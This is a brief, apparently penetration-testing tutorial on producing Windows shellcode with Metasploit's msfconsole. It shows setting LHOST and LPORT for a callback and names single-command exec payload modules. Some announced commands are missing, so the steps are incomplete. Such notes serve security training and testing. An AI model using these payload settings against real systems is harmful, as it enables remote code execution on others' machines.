An easy way to generate shellcode is by using
msconsole. I mostly see people recommending msfvenom online, but I think msfconsole can be a bit easier to work with. But of course it is the same thing, just different interfaces.
In msfconsole you have the keyword
generate that help us generate shellcode. So first we have to select a payload.
Now we set the variables as usual
set LPORT 5555 set LHOST 192.168.0.101
Now we genereate the shellcode using the command
To see the options use
Single commands in windows
If you don't have space and only want to execute a single command you can use
use payload/windows/exec use payload/cmd/windows/generic